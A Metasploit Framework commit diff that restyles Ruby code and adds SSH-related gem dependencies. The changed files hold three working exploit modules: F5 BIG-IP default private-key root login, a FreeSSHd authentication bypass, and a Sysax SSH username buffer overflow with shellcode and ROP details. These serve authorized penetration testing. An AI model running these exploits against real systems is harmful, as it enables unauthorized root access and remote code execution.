Land #8769, improve style, compatibility, for ssh modules

bug/bundler_fix
Brent Cook 2017-08-01 21:43:32 -05:00
commit bb2304a2d1
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
6 changed files with 222 additions and 237 deletions

View File

@ -36,6 +36,18 @@ Style/Documentation:
Exclude:
- 'modules/**/*'
Style/IndentHeredoc:
Enabled: false
Description: 'We need to leave this disabled for Ruby 2.2 compat, remove in 2018'
Style/GuardClause:
Enabled: false
Description: 'This often introduces bugs in tested code'
Style/ConditionalAssignment:
Enabled: false
Description: 'This is confusing for folks coming from other languages'
Style/Encoding:
Enabled: true
Description: 'We prefer binary to UTF-8.'

View File

@ -19,6 +19,7 @@ PATH
activesupport (~> 4.2.6)
backports
bcrypt
bcrypt_pbkdf
bit-struct
dnsruby
filesize
@ -47,6 +48,8 @@ PATH
pg (= 0.20.0)
railties
rb-readline
rbnacl (< 5.0.0)
rbnacl-libsodium
recog
redcarpet
rex-arch
@ -116,6 +119,7 @@ GEM
activerecord (>= 3.1.0, < 6)
backports (3.8.0)
bcrypt (3.1.11)
bcrypt_pbkdf (1.0.0)
bindata (2.4.0)
bit-struct (0.16)
builder (3.2.3)
@ -130,6 +134,7 @@ GEM
railties (>= 3.0.0)
faraday (0.12.2)
multipart-post (>= 1.2, < 3)
ffi (1.9.18)
filesize (0.1.1)
fivemat (1.3.5)
google-protobuf (3.3.0)
@ -245,6 +250,10 @@ GEM
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
rake (12.0.0)
rbnacl (4.0.2)
ffi
rbnacl-libsodium (1.0.11)
rbnacl (>= 3.0.1)
recog (2.1.11)
nokogiri
redcarpet (3.4.0)

View File

@ -124,6 +124,9 @@ Gem::Specification.new do |spec|
#
spec.add_runtime_dependency 'dnsruby'
spec.add_runtime_dependency 'net-ssh'
spec.add_runtime_dependency 'rbnacl', ['< 5.0.0']
spec.add_runtime_dependency 'rbnacl-libsodium'
spec.add_runtime_dependency 'bcrypt_pbkdf'
spec.add_runtime_dependency 'ruby_smb'
#

View File

@ -11,38 +11,41 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info, {
'Name' => 'F5 BIG-IP SSH Private Key Exposure',
'Description' => %q{
F5 ships a public/private key pair on BIG-IP appliances that allows
passwordless authentication to any other BIG-IP box. Since the key is
easily retrievable, an attacker can use it to gain unauthorized remote
access as root.
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [ [ "Universal", {} ] ],
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
super(
update_info(
info,
'Name' => 'F5 BIG-IP SSH Private Key Exposure',
'Description' => %q(
F5 ships a public/private key pair on BIG-IP appliances that allows
passwordless authentication to any other BIG-IP box. Since the key is
easily retrievable, an attacker can use it to gain unauthorized remote
access as root.
),
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [ [ "Universal", {} ] ],
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
},
'Author' => ['egypt'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ],
[ 'CVE', '2012-1493' ],
[ 'OSVDB', '82780' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/06/25/press-f5-for-root-shell' ]
],
'DisclosureDate' => "Jun 11 2012",
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DefaultTarget' => 0
}))
'Author' => ['egypt'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ],
[ 'CVE', '2012-1493' ],
[ 'OSVDB', '82780' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/06/25/press-f5-for-root-shell' ]
],
'DisclosureDate' => "Jun 11 2012",
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DefaultTarget' => 0
)
)
register_options(
[
@ -58,19 +61,20 @@ class MetasploitModule < Msf::Exploit::Remote
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
# helper methods that normally come from Tcp
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def do_login(user)
factory = Rex::Socket::SSHFactory.new(framework,self, datastore['Proxies'])
factory = Rex::Socket::SSHFactory.new(framework, self, datastore['Proxies'])
opt_hash = {
auth_methods: ['publickey'],
port: rport,
@ -80,7 +84,8 @@ class MetasploitModule < Msf::Exploit::Remote
proxy: factory,
non_interactive: true
}
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']
begin
ssh_socket = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
@ -101,16 +106,12 @@ class MetasploitModule < Msf::Exploit::Remote
return
end
if ssh_socket
return false unless ssh_socket
# Create a new session from the socket, then dump it.
conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
ssh_socket = nil
return conn
else
return false
end
# Create a new session from the socket, then dump it.
conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
ssh_socket = nil
conn
end
def exploit
@ -139,7 +140,5 @@ Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
-----END RSA PRIVATE KEY-----
EOF
end
end
end

View File

@ -9,38 +9,41 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "Freesshd Authentication Bypass",
'Description' => %q{
This module exploits a vulnerability found in FreeSSHd <= 1.2.6 to bypass
authentication. You just need the username (which defaults to root). The exploit
has been tested with both password and public key authentication.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Aris', # Vulnerability discovery and Exploit
'kcope', # 2012 Exploit
'Daniele Martini <cyrax[at]pkcrew.org>' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-6066' ],
[ 'OSVDB', '88006' ],
[ 'BID', '56785' ],
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2012-12/0012.html' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Aug/132' ]
],
'Platform' => 'win',
'Privileged' => true,
'DisclosureDate' => "Aug 11 2010",
'Targets' =>
[
[ 'Freesshd <= 1.2.6 / Windows (Universal)', {} ]
],
'DefaultTarget' => 0
))
def initialize(info = {})
super(
update_info(
info,
'Name' => "Freesshd Authentication Bypass",
'Description' => %q{
This module exploits a vulnerability found in FreeSSHd <= 1.2.6 to bypass
authentication. You just need the username (which defaults to root). The exploit
has been tested with both password and public key authentication.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Aris', # Vulnerability discovery and Exploit
'kcope', # 2012 Exploit
'Daniele Martini <cyrax[at]pkcrew.org>' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-6066' ],
[ 'OSVDB', '88006' ],
[ 'BID', '56785' ],
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2012-12/0012.html' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Aug/132' ]
],
'Platform' => 'win',
'Privileged' => true,
'DisclosureDate' => "Aug 11 2010",
'Targets' =>
[
[ 'Freesshd <= 1.2.6 / Windows (Universal)', {} ]
],
'DefaultTarget' => 0
)
)
register_options(
[
@ -48,56 +51,47 @@ class MetasploitModule < Msf::Exploit::Remote
OptString.new('USERNAME', [false, 'A specific username to try']),
OptPath.new(
'USER_FILE',
[ true, "File containing usernames, one per line",
# Defaults to unix_users.txt, because this is the closest one we can try
File.join(Msf::Config.data_directory, "wordlists", "unix_users.txt") ]
[
true,
"File containing usernames, one per line",
# Defaults to unix_users.txt, because this is the closest one we can try
File.join(Msf::Config.data_directory, "wordlists", "unix_users.txt")
]
)
])
end
def load_netssh
begin
require 'net/ssh'
return true
rescue LoadError
return false
end
]
)
end
def check
connect
banner = sock.recv(30)
disconnect
if banner =~ /SSH\-2\.0\-WeOnlyDo/
version=banner.split(" ")[1]
return Exploit::CheckCode::Appears if version =~ /(2\.1\.3|2\.0\.6)/
if banner.match?(/SSH\-2\.0\-WeOnlyDo/)
version = banner.split(" ")[1]
return Exploit::CheckCode::Appears if version.match?(/(2\.1\.3|2\.0\.6)/)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
Exploit::CheckCode::Safe
end
def execute_command(cmd, opts = {})
@connection.exec!("cmd.exe /c "+cmd)
def execute_command(cmd, _opts = {})
@connection.exec!("cmd.exe /c " + cmd)
end
def setup_ssh_options
pass=rand_text_alpha(8)
options={
:password => pass,
:port => datastore['RPORT'],
:timeout => 1,
:proxies => datastore['Proxies'],
:key_data => OpenSSL::PKey::RSA.new(2048).to_pem,
:auth_methods => ['publickey']
{
password: rand_text_alpha(8),
port: datastore['RPORT'],
timeout: 1,
proxies: datastore['Proxies'],
key_data: OpenSSL::PKey::RSA.new(2048).to_pem,
auth_methods: ['publickey']
}
return options
end
def do_login(username,options)
def do_login(username, options)
print_status("Trying username '#{username}'")
options[:username]=username
options[:username] = username
transport = Net::SSH::Transport::Session.new(datastore['RHOST'], options)
auth = Net::SSH::Authentication::Session.new(transport, options)
@ -107,22 +101,22 @@ class MetasploitModule < Msf::Exploit::Remote
Timeout.timeout(10) do
connection.exec!('cmd.exe /c echo')
end
rescue RuntimeError
return nil
rescue Timeout::Error
print_status("Timeout")
return nil
rescue RuntimeError
return nil
end
return connection
connection
end
#
# Cannot use the auth_brute mixin, because if we do, a payload handler won't start.
# So we have to write our own each_user here.
#
def each_user(&block)
def each_user
user_list = []
if datastore['USERNAME'] and !datastore['USERNAME'].empty?
if datastore['USERNAME'] && !datastore['USERNAME'].empty?
user_list << datastore['USERNAME']
else
f = File.open(datastore['USER_FILE'], 'rb')
@ -133,27 +127,18 @@ class MetasploitModule < Msf::Exploit::Remote
end
user_list.each do |user|
block.call(user)
yield user
end
end
def exploit
#
# Load net/ssh so we can talk the SSH protocol
#
has_netssh = load_netssh
if not has_netssh
print_error("You don't have net/ssh installed. Please run gem install net-ssh")
return
end
options = setup_ssh_options
@connection = nil
each_user do |username|
next if username.empty?
@connection=do_login(username,options)
@connection = do_login(username, options)
break if @connection
end
@ -163,4 +148,3 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
end

View File

@ -9,73 +9,76 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::SSH
def initialize(info={})
super(update_info(info,
'Name' => "Sysax 5.53 SSH Username Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Sysax's SSH service. By
supplying a long username, the SSH server will copy that data on the stack
without proper bounds checking, therefore allowing remote code execution
under the context of the user. Please note that previous versions
(before 5.53) are also affected by this bug.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Craig Freyman', #Initial discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '79689'],
['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
['EDB', '18535']
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x3a",
'StackAdjustment' => -3500
def initialize(info = {})
super(
update_info(
info,
'Name' => "Sysax 5.53 SSH Username Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Sysax's SSH service. By
supplying a long username, the SSH server will copy that data on the stack
without proper bounds checking, therefore allowing remote code execution
under the context of the user. Please note that previous versions
(before 5.53) are also affected by this bug.
},
'DefaultOptions' =>
{
'EXITFUNC' => "seh"
},
'Platform' => 'win',
'Targets' =>
[
'License' => MSF_LICENSE,
'Author' =>
[
'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
{
'Rop' => false,
'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe
}
'Craig Freyman', # Initial discovery, PoC
'sinn3r' # Metasploit
],
'References' =>
[
'Sysax 5.53 on Win2K3 SP1/SP2',
{
'Rop' => true,
'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN
}
]
],
'Privileged' => false,
'DisclosureDate' => "Feb 27 2012",
'DefaultTarget' => 0))
['OSVDB', '79689'],
['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
['EDB', '18535']
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x3a",
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'EXITFUNC' => "seh"
},
'Platform' => 'win',
'Targets' =>
[
[
'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
{
'Rop' => false,
'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe
}
],
[
'Sysax 5.53 on Win2K3 SP1/SP2',
{
'Rop' => true,
'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN
}
]
],
'Privileged' => false,
'DisclosureDate' => "Feb 27 2012",
'DefaultTarget' => 0
)
)
register_options(
[
OptInt.new('RPORT', [false, 'The target port', 22])
])
[ OptInt.new('RPORT', [false, 'The target port', 22]) ]
)
end
def check
begin
connect
banner = sock.get_once(-1,5) || ''
banner = sock.get_once(-1, 5) || ''
disconnect
vprint_status("Banner: #{banner}")
if banner =~ /SSH\-2\.0\-SysaxSSH_1\.0/
if banner.match?(/SSH\-2\.0\-SysaxSSH_1\.0/)
return Exploit::CheckCode::Appears
end
rescue
@ -83,30 +86,21 @@ class MetasploitModule < Msf::Exploit::Remote
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Safe
Exploit::CheckCode::Safe
end
def load_netssh
begin
require 'net/ssh'
return true
rescue LoadError
return false
end
end
def get_regular_exploit
def generate_regular_exploit
#
# Align the stack to the beginning of the fixed size payload
#
align = "\x54" #PUSH ESP
align << "\x58" #POP EAX
align << "\x04\x08" #ADD AL,0x08
align << "\x8b\x18" #MOV EBX, [EAX]
align << "\x93" #XCHG EAX,EBX
align << "\x66\x2d\x10\x04" #SUB AX,0x361
align << "\x50" #PUSH EAX
align << "\xc3" #RET
align = "\x54" # PUSH ESP
align << "\x58" # POP EAX
align << "\x04\x08" # ADD AL,0x08
align << "\x8b\x18" # MOV EBX, [EAX]
align << "\x93" # XCHG EAX,EBX
align << "\x66\x2d\x10\x04" # SUB AX,0x361
align << "\x50" # PUSH EAX
align << "\xc3" # RET
#
# Our payload limited to 1024+4 bytes
@ -122,20 +116,18 @@ class MetasploitModule < Msf::Exploit::Remote
# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
# partial-overwrite to allow a null byte in SEH.
#
buf = ''
buf = ''
buf << rand_text(392, payload_badchars)
buf << rand_text(20, payload_badchars)
buf << rand_text(9204-buf.length-align.length-p.length, payload_badchars) #8796+392+20
buf << rand_text(9204 - buf.length - align.length - p.length, payload_badchars) # 8796+392+20
buf << p
buf << align
buf << "\xeb" + [0-align.length-2].pack('c') + make_nops(2) #Short jmp back
buf << "\xeb" + [0 - align.length - 2].pack('c') + make_nops(2) # Short jmp back
buf << [target.ret].pack('V*')
return buf
buf
end
def get_rop_exploit
def generate_rop_exploit
junk = rand_text(4).unpack("L")[0].to_i
nop = make_nops(4).unpack("L")[0].to_i
@ -171,38 +163,28 @@ class MetasploitModule < Msf::Exploit::Remote
p << payload.encoded
#
# Similar buffer structure to get_regular_exploit
# Similar buffer structure to generate_regular_exploit
#
buf = ''
buf = ''
buf << rand_text(392, payload_badchars)
buf << rand_text(20, payload_badchars)
buf << rand_text(1012, payload_badchars)
buf << p
buf << rand_text(9204-buf.length)
buf << rand_text(9204 - buf.length)
buf << rand_text(4, payload_badchars)
buf << [target.ret].pack('V*')
return buf
buf
end
def exploit
#
# Load net/ssh so we can talk the SSH protocol
#
has_netssh = load_netssh
if not has_netssh
print_error("You don't have net/ssh installed. Please run gem install net-ssh")
return
end
#
# Create buffer based on target (DEP or no DEP)
# If possible, we still prefer to use the regular version because it's more stable
#
if target['Rop']
buf = get_rop_exploit
buf = generate_rop_exploit
else
buf = get_regular_exploit
buf = generate_regular_exploit
end
#
@ -215,22 +197,20 @@ class MetasploitModule < Msf::Exploit::Remote
ssh = Net::SSH.start(
datastore['RHOST'],
buf,
{
:password => pass,
:port => datastore['RPORT'],
:timeout => 1,
:proxy => factory,
:config => false,
:non_interactive => true
})
::Timeout.timeout(1) {ssh.close} rescue nil
password: pass,
port: datastore['RPORT'],
timeout: 1,
proxy: factory,
config: false,
non_interactive: true
)
::Timeout.timeout(1) { ssh.close }
rescue Errno::ECONNREFUSED
print_error("Cannot establish a connection on #{rhost}:#{rport}")
return
rescue ::Exception => e
if e.message =~ /fingerprint [0-9a-z\:]+ does not match/
rescue StandardError => e
if e.message.match?(/fingerprint [0-9a-z\:]+ does not match/)
print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
return
end
@ -239,5 +219,3 @@ class MetasploitModule < Msf::Exploit::Remote
handler(ssh)
end
end